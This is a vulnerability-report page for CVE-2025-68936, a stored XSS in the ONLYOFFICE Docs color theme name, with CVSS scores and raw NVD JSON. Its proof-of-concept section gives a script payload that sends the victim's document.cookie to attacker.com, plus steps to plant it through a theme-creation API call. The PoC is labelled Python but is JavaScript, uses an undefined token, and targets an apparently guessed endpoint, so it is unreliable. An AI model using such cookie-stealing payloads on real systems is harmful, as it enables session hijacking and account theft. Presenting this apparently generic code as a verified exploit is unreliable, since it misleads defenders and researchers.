Security Vulnerability Report
中文
CVE-2025-68936 CVSS 6.4 MEDIUM

CVE-2025-68936

Published: 2025-12-25 20:15:42
Last Modified: 2026-01-02 19:36:52

Description

ONLYOFFICE Docs before 9.2.1 allows XSS via the Color theme name. This is related to DocumentServer.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:onlyoffice:document_server:*:*:*:*:*:*:*:* - VULNERABLE
ONLYOFFICE DocumentServer < 9.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68936 XSS PoC // Target: ONLYOFFICE Docs < 9.2.1 // Attack Vector: Color theme name injection const payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Step 1: Login to ONLYOFFICE with low-privilege account const loginData = { username: '[email protected]', password: 'password123' }; // Step 2: Create malicious theme with XSS payload in name const createTheme = { name: payload, colors: ['#FF0000', '#00FF00', '#0000FF'] }; // Step 3: Send request to create/update theme fetch('https://target.onlyoffice.com/api/v1/themes', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + token }, body: JSON.stringify(createTheme) }); // Step 4: When victim views the theme, XSS executes

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68936", "sourceIdentifier": "[email protected]", "published": "2025-12-25T20:15:42.310", "lastModified": "2026-01-02T19:36:52.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ONLYOFFICE Docs before 9.2.1 allows XSS via the Color theme name. This is related to DocumentServer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onlyoffice:document_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.1", "matchCriteriaId": "C0A69ABA-D667-41CF-AAEF-069585F2AF39"}]}]}], "references": [{"url": "https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#921", "source": "[email protected]", "tags": ["Release Notes"]}]}}